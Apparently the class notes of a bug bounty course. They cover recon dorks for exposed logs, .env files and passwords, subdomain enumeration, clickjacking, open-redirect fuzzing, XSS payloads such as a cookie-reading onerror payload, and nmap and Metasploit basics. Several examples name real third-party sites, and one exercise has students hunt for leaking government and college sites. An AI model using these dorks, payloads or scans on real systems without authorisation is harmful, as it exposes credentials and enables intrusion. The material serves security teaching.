BUG BOUNTY

Hai Everyone !

For your information

Join ZOOM meeting with your FULL NAME or else you won't be allowed

1. You can mute yourself to avoid background noise

2. Incase if you have any doubts, you can ping in chat option of zoom

3. Please turn off your WEBCAM as well.

4. Please Dont respond to other participant doubts in skype. We have volunteered to help them out.

5. Please avoid sending private or wishing messages in SKYPE GROUP, as it is used only for doubt clearing

6. Class notes and videos will be shared in drive.

If you have any doubts you can use hashtag

#DOUBT and type your doubt, it will be cleared

#doubt have a doubt regarding ip address

If you need HELP or ASSISTANCE for troubleshooting, you can use hashtag

#HELP and type the message, we will assign you someone to help you

#help installation with kali linux

@sohail please help him

**08-11-2021, MONDAY**

BASIC TERMINOLOGIES

1. WHAT IS BUG HUNTING

2. DIFFERENCE BETWEEN PENTESTING & BUG HUNTING

3. CHOOSING TARGET

4. BUG BOUNTY TERMINOLOGIES

5. LAB SET UP

6. CHOOSE OPERATING SYSTEM

7. BUG REPORT FORMAT

8. PROCESS OF BUG HUNTING

9. TARGET INDIVIDUAL BUGS

bug hunting is the process of identifying vulnerabilities/ weakness / bug in a infrastructure/software/application/server

3. CHOOSING TARGET

Objective - is to earn money thorugh bug bounty programs

1. Bug hunting Platforms - Bugcrowd, Hackerone, INtigrity

Advantage - You will be eligible for a bounty for a proper bug

Your response for the bug submitted is assured

These platforms act as constant source of support between bug hunters and companies

Disadvantage -

Competition is huge

Duplicates will be more

Chances of finding / hunting bugs will be tough for beginners

2. Individual Websites

Use google to find websites which reply back to bug submissions

RESPONSIBLE DISCLOSURE PROGRAM which websites run

Recommended - european, netherland, UK

3. Random websites - For beginners to start with,

college website

**09-11-2021, TUESDAY**

4. BUG BOUNTY TERMINOLOGIES

- Inscope & Out of Scope

- Private programs & Public Programs

- Rewards, Points only, HOF, LOA

- Duplicates

- Focus Areas & Exclusions

- CWE | CVE | CVSS | VRT

Inscope will include the URL's or domains which we can work with or which comes under target

www.abc.com

inscope

\*.abc.com (sales.abc.com | it.abc.com .......)

it.xyz.com

Out of scope

test.abc.com

demo.abc.com

finance.abc.com

Public Programs - open for all

Private programs - we need an invitation from the company

Focus Areas & Exclusions - Type of bugs which we can work with

focus areas - xss, sql, cors, ssrf

Exclusions - clickjacking, missing spf, HSTS,

CWE | CVE | CVSS | VRT

They deal with severity of the bug which is submitted

CWE - Common Weakness Enumeration

Deals with the acutal bug or vulnerability

It doesnt speak about the product

CVE - Common Vulnerabilities & exposures

It deals with specific instance of the bug

which product has which bug

CVSS - COmmon Vulnerability Scoring system

Score for the severity of the bug (0-10)

Low 0.1 - 3.9

Medium 4.0 - 6.9

High 7.0 - 8.9

Critical 9.0 - 10.0

VRT - Vulnerability Rating Taxonomy (Bug Crowd)

P1 - Most severe

P2

P3

P4 - Low

5. LAB SET UP

virutal box

6. CHOOSE OPERATING SYSTEM

OS - kali linux

Pentesting | Bug Hunting - Kali linux

Radio freq | Wireless - Parrot

Pentesting advanced - Black arc

Foresics - Deft

7. BUG REPORT FORMAT

A. Title

B. Description

C. Domain

D. Steps to reproduce

Vulnerable URL

E. Proof of Concept

F. Countermeasures

G. Impact

H. References

D & E are mandatory

XSS - <script>alert(1)</script>

SAMPLE REPORT

A. Title - Responsible Disclosure - XSS bug in TESTPHP.VULNWEB.Com

B. Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

C. Domain

http://testphp.vulnweb.com/index.php

D. Steps to reproduce

- Visit http://testphp.vulnweb.com

- In the search box of the website, include the java script as follows

<script>alert(1)</script>

- Click enter and you will get a popup

which proves there is an XSS in the website

Vulnerable URL - http://testphp.vulnweb.com/search.php?test=query

E. Proof of Concept

Attached POC 1, POC2, POC 3 for your reference

F. Countermeasures

In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:

Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.

Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.

Use appropriate response headers. To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.

Content Security Policy. As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.

G. Impact

In a brochureware application, where all users are anonymous and all information is public, the impact will often be minimal.

In an application holding sensitive data, such as banking transactions, emails, or healthcare records, the impact will usually be serious.

If the compromised user has elevated privileges within the application, then the impact will generally be critical, allowing the attacker to take full control of the vulnerable application and compromise all users and their data.

H. References

https://hackerone.com/reports/485748

https://hackerone.com/reports/881115

**10-11-2021, WEDNESDAY**

PROCESS OF BUG HUNTING

1. RECONAISSANCE (Information Gathering)

2. SUBDOMAIN ENUMERATION

3. TECHNOLOGY PROFILING

4. VULNERABILITY ASSESSMENT

5. REPRODUCING IDENTIFIED BUGS

6. PROOF OF CONCEPT - Manual

7. REPORT SUBMISSION

OBJECTIVE - is to understand ur target,

Bug hunting doesnt work for random targets

it needs time and patience

1. RECONAISSANCE (Information Gathering)

A. GOOGLE

B. GITHUB

C. SHODAN

A. GOOGLE

- How database works?

- Importance of keywords

- Google Architecture

- Google Dorks

- Google dorks for bug hunting

- Countermeasures

Google results

- Exact result , what we are looking for

- Relevant result, google doesnt find anything for our keyword, so its suggesting automatic results which might be what we are looking for

Google dorks

set of keywords with which we can access google to get exact results

filetype:

inurl:

intext:

intitle:

site:

allinurl:

allintext:

SERVER DIRECTORY STRUCTURE

TYPES OF BUG USING GOOGLE

- Server misconfiguration

- Sensitive information disclosure

- Directory / Path Traversal

- Infomation disclosure

- Insecure storage of credentials

Google dorks results

- Check if the directory is not a sample directory

- Check if the directory is recently updated

- Check if the directory has any important files

**11-11-2021, THURSDAY**

1. directories

index of

index of backup

index of trash

index of backup site:in

index of backup site:gov.in

index of backup site:edu.in

Notee: Few websites can have public directories which are meant to be accessed by anyone

2. Log files

allintext:username filetype:log

allintext:password filetype:log

filetype:log inurl:"password.log"

intitle:"index of" "app.log"

Critical file extensions

.db

.inc

.conf

.env

filetype:inc mysql\_connect

3. FTP server

http://ftp:ip

intitle:"FTP Server - Web"

inurl:http://ftp://ftp site:com

intitle:"index of" inurl:ftp

4. ENV Files

Environment variable files

contains individual user variables

"index of: ".env"

db\_username filetype:env

filetype:env "db\_password"

For reporting from google results

we have two things to consider

- Domain name (abc.com)

- IP address (100.1.2.100)

5. HTACCESS

is an important directory in a server where all sensitive informations are placed.

Htpasswd - is an important file present inside htaccess which stores usernames and passwords

intext:"index of /" + ./htaccess

index of htaccess

6. Individual websites

"inedx of" inurl:abc.com

7. For individual devices

Vulnerable HP printers

inurl:'SSI/Auth/Ip\_configuration.htm'

Sample Report

REPONSIBLE DISCLOSURE - Insecure storage of data / credentials

DESCRIPTION :

Insecure data storage vulnerabilities occur when development teams assume that users or malware will not have access to a mobile device's filesystem and subsequent sensitive information in data-stores on the device. Filesystems are easily accessible.

DOMAIN : http://www.cyart.net/

STEPS TO REPRODUCE

1. Go to google

2. Give the following keyword in google

filetype:env "db\_password"

3. In search result, we can see .env file of cyart.net being exposed in google search result

4. And this file has usernames and passwords which are exposed in clear text

VULNERABLE URL: http://www.cyart.net/.env

PROOF OF CONCEPT

Attached POC1 & POC 2

COUNTERMEASURES

Never store credentials on the phone file system. Force the user to authenticate using a standard web or API login scheme (over HTTPS) to the application upon each opening and ensure session timeouts are set at the bare minimum to meet the user experience requirements.

Where storage or caching of information is necessary consider using a standard iOS encryption library such as CommonCrypto. However, for particularly sensitive apps, consider using whitebox cryptography solutions that avoid the leakage of binary signatures found within common encryption libraries.

If the data is small, using the provided apple keychain API is recommended but, once a phone is jailbroken or exploited the keychain can be easily read. This is in addition to the threat of a bruteforce on the devices PIN, which as stated above is trivial in some cases.

For databases consider using SQLcipher for Sqlite data encryption

IMPACT

Insecure data storage can result in data loss, in the best case, for one user. In the worst case, for many users. Common valuable pieces of data seen stored include:

Usernames

Authentication tokens

Passwords

Cookies

Location data

UDID/EMEI, Device Name, Network Connection Name

Personal Information: DoB, Address, Social, Credit Card Data

REFERENCES

TO DO

1. Find any government website for sensitive information leakage and send a bug report

2. Find any college/university website for sensitive information leakage and send a bug report

**15-11-2021, MONDAY**

Countermeasures of Google Dorks

Robots.txt - its a simple configuration file which gives permission to user request of what to access and what not to access

Allow

Disallow

Robots.txt file only intercepts request which are being raised from search engines.

It doesnt block manual reuqest.

Can we expose robots.txt file of our website

www.abc.com/robots.txt

1. RECONAISSANCE (Information Gathering)

A. GOOGLE

B. GITHUB

C. SHODAN

B.GITHUB

- its an open source version control system

Uses

- Hosting

- Common Sharing platform

16-11-2021, TUESDAY

TERMINOLOGIES OF GITHUB

- REPOSITORY - Repo, its a location where all files of a particular project or software are stored and it has a unique url which can be used by others to access.

- COMMIT - is a change that you make to a code, file or set of files

- ISSUES - are suggestions, improvements or errors related to repository

GITHUB METHODOLOGY

services - SSH, SFTP, FTP, PROXY, VPN, FIREWALL

keywords can be as follows

"company" password

"company" secret

"company" credentials

"company" token

key,pass,login,pwd

"company"security\_credentials (LDAP)

"company"connectionstring (Database Credentials)

"company" JDBC ''

CONSIDERATIONS

- Give Keywords in search box

- Click on Codes in filter options

- Look for RECENTLY INDEXED documents (2/3 years)

Sort - Click Recently Indexed

- Check if we have sensitive information from recently indexed repositories

- Check if the user who has uploaded the repository works for that company

- If his profile says he is working for the company, then go that company's page in github and check if his name/profile is mentioned in the employee section.

- Check the validity of the data and confirm its not a sample data or a test data

For github dorks for bug bounty, RANDOM ROBBIE

SHODAN.IO

- Search engine which searches internet only for IP, Open Ports and running services.

- Google is a search engine for both good and bad results

- Shodan is only for bad results (to display or to give vulnerable devices - printer, scanner, computer, server, firewall, cctv . . . )

Filters

city:

country:

os:

port:

Filters using protocols

HTTP 80

HTTPS 443

FTP 20/21

SSH 22

TELNET 23

SNMP 161

IMAP 993

RDP 3389

SHODAN DORKS - jake jarvis from github

**17-11-2021, WEDNESDAY**

PROCESS OF BUG HUNTING

1. RECONAISSANCE (Information Gathering)

2. SUBDOMAIN ENUMERATION

3. TECHNOLOGY PROFILING

4. VULNERABILITY ASSESSMENT

5. REPRODUCING IDENTIFIED BUGS

6. PROOF OF CONCEPT - Manual

7. REPORT SUBMISSION

2. SUBDOMAIN ENUMERATION

main domain www.abc.com

Related subdomains

it.abc.com

sales.abc.com

india.abc.com

support.abc.com

Unrelated subdomains

xyz.com

cyz.com

Chances of hunting bugs in subdomain is more than hunting bugs in main domain.

METHODS

1. WEB BASED TOOLS

2. OS BASED TOOLS

1. WEB BASED TOOLS

A. GOOGLE DORKS

site:snapchat.com -www

B. HORIZONTAL DOMAIN ENUMERATION

- Reverse Whoislookup

www.viewdns.info

C. COPY RIGHT INFORMATION

"© 2020 snap inc" in google and search for results of websites which have this copyright information at the end of their website.

D. WWW.VIRUSTOTAL.COM

tr.snapchat.com

story.snapchat.com

support.snapchat.com

accounts.snapchat.com

jaguar-prod.snapchat.com

click.snapchat.com

app.snapchat.com

intg.snapchat.com

auth.snapchat.com

w.snapchat.com

www.snapchat.com

ads.snapchat.com

snapcodes.snapchat.com

snapcamera.snapchat.com

tr6.snapchat.com

lensstudio.snapchat.com

sks.snapchat.com

topic-sticker-vending.snapchat.com

app-analytics-dev.snapchat.com

ad-center.snapchat.com

app-analytics-v2.snapchat.com

maps.snapchat.com

kit.snapchat.com

search.snapchat.com

subscriptions.snapchat.com

app-analytics.snapchat.com

snapchat-payments-gateway.snapchat.com

lens.snapchat.com

minis.snapchat.com

map.snapchat.com

premium-stories.snapchat.com

mvm.snapchat.com

pro-stories.snapchat.com

forbusiness.snapchat.com

pro-accounts.snapchat.com

geofilters-api.snapchat.com

snappublisher.snapchat.com

business.snapchat.com

businesshelp.snapchat.com

create.snapchat.com

profile.snapchat.com

puppy.snapchat.com

api.snapchat.com

adsapi.snapchat.com

publish.snapchat.com

developer.snapchat.com

developers.snapchat.com

pro-insights.snapchat.com

events.snapchat.com

earn.snapchat.com

story-insights.snapchat.com

content-insights-revenue.snapchat.com

geofilters-community-api.snapchat.com

groove.snapchat.com

studio-crash.snapchat.com

studio-app.snapchat.com

aam-api.snapchat.com

my-lenses.snapchat.com

focus.snapchat.com

lawenforcement.snapchat.com

commerce-merchant.snapchat.com

scan.snapchat.com

play.snapchat.com

store.snapchat.com

investor.snapchat.com

places.snapchat.com

t.snapchat.com

s.snapchat.com

link.snapchat.com

rtam-collector.snapchat.com

less.snapchat.com

trends.snapchat.com

subscriptions-beta.snapchat.com

experience.snapchat.com

my.snapchat.com

snaporiginals.snapchat.com

games.snapchat.com

marketingapi.snapchat.com

geofilters.snapchat.com

content-recognition.snapchat.com

docs.snapchat.com

iosbeta.snapchat.com

am-api.snapchat.com

chat-internal.snapchat.com

static-payments.snapchat.com

adsapi3.snapchat.com

api-kit.snapchat.com

shows.snapchat.com

ds.snapchat.com

business-manager.snapchat.com

ads-preprod.snapchat.com

storysharing.snapchat.com

advertising.snapchat.com

tr-shadow.snapchat.com

adsapimus.snapchat.com

server-analytics.snapchat.com

omnicollector.snapchat.com

scan-partners.snapchat.com

eagle-prod.snapchat.com

advocates.snapchat.com

E. OTHER WEBSITES

https://dnsdumpster.com/

https://searchdns.netcraft.com/

F. USING CERTIFICATE OF TRANSPARENCY

CT is a project under which CA has to publish every ssl/tls certificate they issue to a public log

www.crt.sh

https://developers.facebook.com/tools/ct/search/

OS BASED TOOLS

18-11-2021 - THURSDAY

OS BASED TOOLS

sUBLISTER

-its a python based tool to find subdomains using search engines - google, yahoo, bing, baidu, ask, netcraft, virustotal, threatcrowd, dnsdumpster

python3 sublister.py

PROCESS OF BUG HUNTING

1. RECONAISSANCE (Information Gathering)

2. SUBDOMAIN ENUMERATION

3. TECHNOLOGY PROFILING

Details to be gathered are as follows

- Server

- OS

- CMS

- IP

- Where its hosted

- Other Technologies used by your target

1. WHOISLOOKUP

2. ARCHIVE.ORG

3. BUILTWITH.COM

4. NETCRAFT.COM

5. BROWSER EXTENSION - WAPPALYZER, PAGE X RAY, WHAT RUNS

6. HUNTER.IO

Server Banner Grabbing - Where version of server or other technologies are exposed.

INDIVIDUAL BUGS

- Small bugs / Minor bugs / Informational Bugs

- Medium / Critical bugs

- High Severity bugs

1. CLICKJACKING

- Web interface based attack

- In bounties its classified under "UI REDRESSING"

- Its an attack in which the user is tricked to click actionable content on a hidden website by clicking on some other content of the actual website.

-

METHODS

There are three ways of checking if the website is vul;nerable to clickjacking or not

A. Automated Testing

B. Manual Testing

C. TOol based testing

- For testing websites, the website should have an input field.

Automated testing

https://clickjacker.io/

Manual Testing

<html>

<body>

<iframe src="https://www.kct.ac.in/" width="500" height="500"></iframe>

</body>

</html>

Tool Based

Burp

19-11-2021, FRIDAY

SAMPLE REPORT FOR CLICKJACKING

A. Title

RESPONSIBLE DISCLOSURE - CLICK JACKING VULNERABILITY

B. Description

Clickjacking is an attack that tricks a user into clicking a webpage element which is invisible or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online.

C. Domain

www.kct.ac.in

D. Steps to reproduce

We can test this under two methods as follows

Method 1

1. Go to https://clickjacker.io/

2. In input field give www.kct.ac.in

3. if the website gets reproduced in the box of that website, then its vulnerable

4. Incase of kct.ac.in, it gets reproduced in clickjacker.io, which proves its vulnerable.

Method 2

1. Open note pad and type the following script in notepad

<html>

<body>

<iframe src="https://www.kct.ac.in/" width="500" height="500"></iframe>

</body>

</html>

2. save the file as test.html

3. open the file in any browser and incase if it opens inside the browser, then its vulernable

4. In this case kct.ac.in opens inside the browser, which makes it vulernable.

Vulnerable URL

https://www.kct.ac.in/

E. Proof of Concept

Attached Screenshot POC1 & POC2

F. Countermeasures

Client-side methods – the most common is called Frame Busting. Client-side methods can be effective in some cases, but are considered not to be a best practice, because they can be easily bypassed.

Server-side methods – the most common is X-Frame-Options. Server-side methods are recommended by security experts as an effective way to defend against clickjacking.

Go to .htaccess file in web hosting and enter the following

Header append X-FRAME-OPTIONS "SAMEORIGIN"

G. Impact

The user assumes that they're entering their information into a usual form but they're actually entering it in fields the hacker has overlaid on the UI. Hackers will target passwords, credit card numbers and any other valuable data they can exploit.

H. References

OPEN REDIRECTION

- its also known as "UNVALIDATED REDIRECTS & FORWARDS"

- It can lead to various types of phishing attacks or even xss attacks

- Status code is 302 for url redirection

HTTP STATUS CODE

2XX - 200 Success

3XX - 302,301, Moved to someother page

4XX - 404, Client side error

5XX - 500, Server Side error

NEED FOR REDIRECTION

- When we login/logout to an account

- When we create/register for new account

- When we reset password

HOW IT WORKS?

A normal url can be like the below

https://flipkart.com/index.html

https://flipkart.com/index.html/?redirect=https://facebook.com/login.html

TO FIND URLS THAT HAVE REDIRECTION

We can use google dorks to find random website

Keywords - url,return, next, redirect, return\_url, referrer, targeturl

site:abc.com inurl:?redirect=http://

inurl:?redirect\_url=

https://partner.ekartlogistics.com/login/jeeves?redirect\_url=https://partner.ekartlogistics.com/jeeves

METHOD TO FIND OPEN REDIRECTION VULNERABILITY

1. HEADER BASED / THROUGH PATH FRAGMENT

involves in fuzzing with url of the target website

www.abc.com/index.html

Fuzzing - method 1

www.abc.com/index.html/?redirect=https://bing.com/

if bing.com opens then the page is vulnerable for open redirection

Fuzzing - method 2

www.abc.com actual url

www.abc.com/bing.com/

www.abc.com/bing.com//

www.abc.com//bing.com//

www.abc.com//bing.com///

www.abc.com///bing.com///

www.abc.com///bing.com////

www.abc.com////bing.com////

Encoding - method 3

www.abc.com/index.html/?redirect=https://bing.com/ Blocked / not getting redirected

we can encode the website part - https://bing.com/

A. url encode

https://bing.com/ is equivalent to https%3A%2F%2Fbing.com%2F

so out input can be as follows

www.abc.com/index.html/?redirect=https%3A%2F%2Fbing.com%2F

B. Doubel url encode

https://bing.com/ is equivalent to https%253A%252F%252Fbing.com%252F

www.abc.com/index.html/?redirect=https%253A%252F%252Fbing.com%252F

C. Base64 encode

https://bing.com/ is equivalent to aHR0cHM6Ly9iaW5nLmNvbS8=

www.abc.com/index.html/?redirect=aHR0cHM6Ly9iaW5nLmNvbS8=

2. JAVA SCRIPT BASED

<script>document.location.href="http://bing.com"</script>

We are going to find a url with input parameter

www.abc.com/index.html/?id=1/<script>document.location.href="http://bing.com"</script>

Impact

https://www.flipkart.com/mobile-phones-store?fm=neo%2Fmerchandising&iid=M\_5b1e8c46-9b8c-4d1b-a43e-6910f9f069e5\_1\_372UD5BXDFYS\_MC.ZRQ4DKH28K8J&redirect\_url=https://evil.com/&otracker=hp\_rich\_navigation\_3\_1.navigationCard.RICH\_NAVIGATION\_Mobiles\_ZRQ4DKH28K8J&otracker1=hp\_rich\_navigation\_PINNED\_neo%2Fmerchandising\_NA\_NAV\_EXPANDABLE\_navigationCard\_cc\_3\_L0\_view-all&cid=ZRQ4DKH28K8J

22-11-2021, MONDAY

BURPSUITE

- PROXY INTERCEPTOR

Uses

- Parameter Tampering

- Bruteforcing / Dictionary Based Attacks

TO DO

- Install burp in windows - Community edition

- Configure proxy settings of burp in firefox

- Install CA (Certificate of Authority) certificate of burp in firefox

- Verify if we are able to intercept traffic of https in burp

- Perform password crackig in testphp website using BURP

23-11-2021, TUESDAY

SOURCE CODE DISCLOSURE

any error, misconfiguration, scripting issues which can reuslt in server side source code disclosures.

METHODS

- To use Google Dorks

- To use Burp

Google Dorks

web.conf files

database.sql

mysql\_connect

myconfig

.config

index of "database.sql"

- To use Burp

We need to spider the website, to understand different aspects of the website

www.abc.com

www.abc.com/home.html

www.abc.com/login.html

www.abc.com/?id=1.jpg

.

.

.

.

we need to analyse all the urls which are present in the website

http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg

file=./pictures/1.jpg

file=login.php

file=showimage.php

file=database\_connect.php

<?PHP

$connection = mysql\_connect('127.0.0.1', 'acuart', 'trustno1')

or die('Website is out of order. Please visit back later. Thank you for understanding.');

mysql\_select\_db('acuart', $connection)

or die('Website is out of order. Please visit back later. Thank you for understanding.');

?>

RATE LIMITING

- Configuration used to limit network traffic that interacts with the server

- Blocks users, bots, or applications that are over using a web propery

How is it useful

To prevent attacks like

- bruteforcing

- DOS & DDOS attack

Rate limiting http status code is 429 (Too many request)

Where does rate limiting occur?

- Login page

- Reset page

- 2FA / OTP

- Signup

- Sending msgs, comment

IMPACT

25-11-2021

DIRSEARCH

For wordlist "Seclist common directory"

- admin panels

- Wordpress / drupal / magento

- sql database

PARAMETER TAMPERING

29-11-2021, MONDAY

AUTHENTICATION & AUTHORISATION

- What is authentication

- What is authorisation

- What is Session

- What is session hijacking

- What is cookie

- What is cookie stealing

Authentication - Verification of user credentials by the server

Authorisation - is the level of permission which a user has.

Cookie - is a small text file which are saved in browser directory

Session cookie - Temporary

Persistent Cookie - Permanent

ISSUES WITH AUTHENTICATION & AUTHORISATION

- Insufficient Session Expiration & Session Fixation

- Misconfigured Login Pages

- Bruteforcing Single factor authentication - static

- Bruteforcing Single factor authentication - Dynamic

- Bruteforcing Two factor authentication - Dynamic

- Authentication Bypass - Whole Response Replacement

- Authentication Bypass - Single Response/ Individual parameter Replacement

- Multifactor Authentication Misconfiguration

- Previledge escalation

- Issues with Oauth Redirection & permission

- Business Logic Erros in login page

- Password reset token related bugs

- Password reset token expiry issues

- Captcha Bypass

- Improper Certificate validation

TYPES OF AUTHENTICATION

- STATIC, Where we have username and password (gmail,facebook)

- DYNAMIC, Where we have username and password will be an OTP sent

(No static password for this page) (hotstar, sulekha.com,)

- MULTIFACTOR AUTHENTICATION, Where we have username and password, then we have to enter OTP, fingerprint or app for authentication(Gmail 2fa)

Authentication issues will work for websites which are vulnerable to RATE LIMITING

01-12-2021,WEDNESDAY

Issues with Oauth Redirection & permission

Open Standard Authorisation Protocol or framework

- Secure, third party, user-agent, delegated authorisation

- This usually happens with the generation of ONE TIME TOKEN & SECRET

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?

client\_id=28300235456-b801aqbc1i8luet9arr7sgll09t6eep9.apps.googleusercontent.com

&

scope=openid email profile

&

response\_type=code

&

redirect\_uri=https://bing.com/

&

state=returnUrl%2F

&

provider=google

&

subProvider=google

&

locale=

&

migrateGoogle=

&

ssoVerified=

&

tosAccepted=

&

aaOnboarding=

&

updateEmail=

&

timeStateCreated=1638364683593

&

traceId=61a7760bdf945fe4913e4c29922e1759

&

id=61a7760b18b08d7a7e5d4c6f

&

csrf=zKmuUjnOVxPoGA5bdQDvhpWaRaU640ARW4I0VexisN%3D

&

pkce=true

&

code\_challenge=HzzQXRiqszkzp5ni1lV9sHuPHXh9xSyVCfLjxmhxryA

&

code\_challenge\_method=S256

&

flowName=GeneralOAuthFlow

- Password reset token related bugs

Check

- if the password reset token is the same for multiple times

(Static Password Reset tokens used)

- if the password reset token expires or not

(Password reset token never expires / Doesnt have a expiry time)

URL 1

https://squareup.com/login?p=person%3ANC2JJUVPKFF3NFQ2&v=6770786501031

URL 2

https://squareup.com/login?p=person%3ANC2JJUVPKFF3NFQ2&v=6770786501031

Improper Certificate validation

Bugs

- Valdity of certificate expires

- certificate name doesnt match

- SSL certificat einvalid

- Weak SSL cipher suite

www.ssllabs.com

sslshopper.com

www.digicert.com

02-12-2021, THURSDAY

EXPLOITATION

Scanner - NMAP

Exploitation - Metasploit Framework

NMAP

Network MAPper

- Scanner

Internal Scan

External Scan

- Host is alive or not

- Ip address | Mac address

- Ports open

- Services running

- OS

Commands

-sT TCP Connect Scan

-sS Stealth Scan

-sV Service Scan

-sC Script Scan

-sU UDP Scan

-A Aggressive scan (OS + Service + Script + Tracert)

-O OS Scan

-v Verbrose mode (detailed output)

-p- To scan all the ports (65535)

-p individual port

-T Timing Scan

T0

T5

#nmap -sT google.com

#nmap -A -O google.com

#nmap -sS -p 80,443,143,21 google.com

#nmap -sT -p 21 google.com

#nmap -sS -p- google.com

Nmap Scripting Engine (NSE)

Additional feature of NMAP to increase the functionality of NMAP

#nmap -sT --script (script name) kct.ac.in

dns-brute.nse

#nmap -p80 --script dns-brute kct.ac.in

Vulnerability scanning

#nmap -sT --script vuln kct.ac.in

Wordpress Enumeration

#nmap -p80 --script http-wordpress-enum kct.ac.in

Exploitation - Metasploit Framework

File upload vulnerabilities

MSF Console

Exploit - A vulnerability used to attack ur victim

ms08\_068\_netapi

Payload - What you get in return (code)

Remote desktop | Command line interface / shell code

windows/meterpreter/reverse\_tcp

Auxillary - Combination of both exploit and payload

Meterpreter - Advanced command shell with more options built

**03-12-2021, FRIDAY**

CROSS SITE SCRIPTING (XSS)

1.INTRODUCTION

2.STEPS TO IDENTIFY XSS

3.TYPES OF XSS

4.PRACTICE WEBSITES & LABS

1.INTRODUCTION

-XSS allows users to inject client side code or script mostly javascript in websites

-Normally these scripts are executed in input field of any website (search box, comment box, feedback form, sign in page etc)

2.STEPS TO IDENTIFY XSS

A. We need to find input field or paramater in any website, this can be any of the following

Search Box

Feedback / Comment Section

URL input parameters

Contact us input box

In the above input fields, we can give our basic java script code.

Basic Java Script code can be any of the following

<script>alert(test)</script>

<script>alert('test')</script>

<script>alert("test")</script>

We have more than 300+ default scripts like the above, which we can download from github.

B. To inject our JAVA SCRIPT in the input field

C. To use automated tools(Like Burpsuite) for check for Input fields and give Java Script as input.

The reason for using automated tool is because, our target website may have many main urls and sub urls like the following

http://www.abc.com The main url

Suburls like the following

http://www.abc.com/home.html

http://www.abc.com/aboutus.html

http://www.abc.com/products.html

http://www.abc.com/products.html?id=1

http://www.abc.com/products.html?id=2 and so on

3.TYPES OF XSS

REFLECTED XSS - Temporary

STORED XSS - Saved in server

DOM Based XSS - DOM environment is changed

XSS Examples

www.ubraintv.com

"><script>alert(1)</script>

HTTPS://www.telcodata.us/SEARCH-COMPANIES-BY-AREA-CODE

"><script>alert(1)</script>

https://www.apc.org/en

"><script>alert(1)</script>

https://wellcomeopenresearch.org/

"><script>alert(1)</script>

https://www.filmon.com/group/uk-live-tv

"><img src=x onerror=alert(document.cookie)>

Bug Report Samples

List of xss reports for your reference

https://hackerone.com/reports/484801

https://hackerone.com/reports/330008

https://hackerone.com/reports/892289

https://hackerone.com/reports/953579

https://hackerone.com/reports/647130

https://hackerone.com/reports/177508

https://hackerone.com/reports/323005

https://hackerone.com/reports/314518

https://hackerone.com/reports/485684

https://hackerone.com/reports/1118501

https://hackerone.com/reports/643908

https://hackerone.com/reports/485748

https://hackerone.com/reports/840759

https://hackerone.com/reports/438240

04-12-2021, SATURDAY

WEB SERVER

Website - collection of webpages.

Two type - Static & Dynamic

Web Technologies - HTML, CSS, JavaScript, PHP, MySQL.

Domain - name of your website

[www.abc.com](http://www.abc.com)

Server Space - space where you host your website.

3500 - 6000 / per year and it gives 1.5gb minimum space.

Hosting Providers : GoDaddy, ChennaiHost, BigRock..

[www.sample.com](http://www.sample.com) - opens sample website

[www.sample.com/cpanel](http://www.sample.com/cpanel) - opens the web server space. (control panel)

Website : sample

Home - rename this to index.html, index.php, index.asp

About

Contact

Services

Training

[www.sample.com](http://www.sample.com) will eventually open [www.sample.com/index.html](http://www.sample.com/index.html) but index.html will not be displayed in the url. Index.html will always be the first page of your website.

[www.sample.com/about.html](http://www.sample.com/about.html)

Upload all your webpage files into file manager’s public\_html folder in cpanel.

Free web servers - 000webhost

Sign up for free. Email verification

It will ask you to create a new website name and logs you in.

You will find file manager and inside that you will find public\_html folder.

It will give you a default domain name, kathir.000webhostapp.com

Assignments

1. Display a message hi welcome to my website
2. Auto download when clicking the link. (doc,img,txt)
3. URL redirection - kathir.000webhostapp.com - it should go to [www.facebook.com](http://www.facebook.com)

Hint

auto download using iframe

Url redirection in meta tag

Sample Code

<!DOCTYPE html>

<html>

<head>

HI !!!!

<title>Download</title>

<iframe width="1" height="1" frameborder="0" src=“any\_name.doc"></iframe>

</head>

</html>

<!DOCTYPE html>

<html>

<head>

<script>

alert("Probably i got your password right now :)");

</script>

</head>

</html>

<!DOCTYPE html>

<html>

<meta http-equiv="refresh" content="0; url=<http://www.google.com/>">

You will be redirected....

</html>

SQL SERVER

Dynamic website deals with user information. TO store such data we need database. If we have a server, we can create a database.

SQL - Structured Query Language - a language that is understood by the web server.

To Create a Database

CREATE DATABASE mydb;

To store data in a database, we need a table - RDBMS.

CREATING A DATABASE

CREATE DATABASE mydb;

CREATING A TABLE

CREATE TABLE user ( id number, name varchar2, contact number, email varchar2);

DELETING AN ENTIRE TABLE

DROP TABLE user;

INSERTING VALUES TO A TABLE

INSERT INTO user VALUES(10, "Sowmitha", 9894011615, "sow@gmail.com");

INSERT INTO user(name,contact,id,email) VALUES("Sowmitha", 9894011615, 10, "sow@gmail.com");

INSERT INTO user(name,contact) VALUES("Sowmitha", 9894011615");

**TODO**

**Create a table user with following fields - id, fname, lname, email, password, contact**

**Insert ten records to the user table.**

RETRIEVING VALUES FROM THE TABLE

SELECT \* FROM user;

SELECT \* FROM user where rownum<5;

We can also display details based on conditions.

SELECT \* FROM user WHERE fname="Alex";

SELECT lname,contact FROM user WHERE fname="Alex";

SELECT \* FROM user WHERE fname="Alex" AND contact=12345;

SELECT \* FROM user WHERE fname="Alex" OR fname="Adam";

UPDATING VALUES IN A TABLE

UPDATE user SET email = "sowmitha@gmail.com" where id = 10;

DELETING VALUES IN A TABLE

DELETE \* FROM user;

DELETE \* FROM user WHERE fname="Adam";

DELETE lname,contact FROM user WHERE fname="Adam";

===============================================

SELECT \* FROM Customers

WHERE CustomerName LIKE 'a%'

Finds any values that start with "a"

SELECT \* FROM Customers

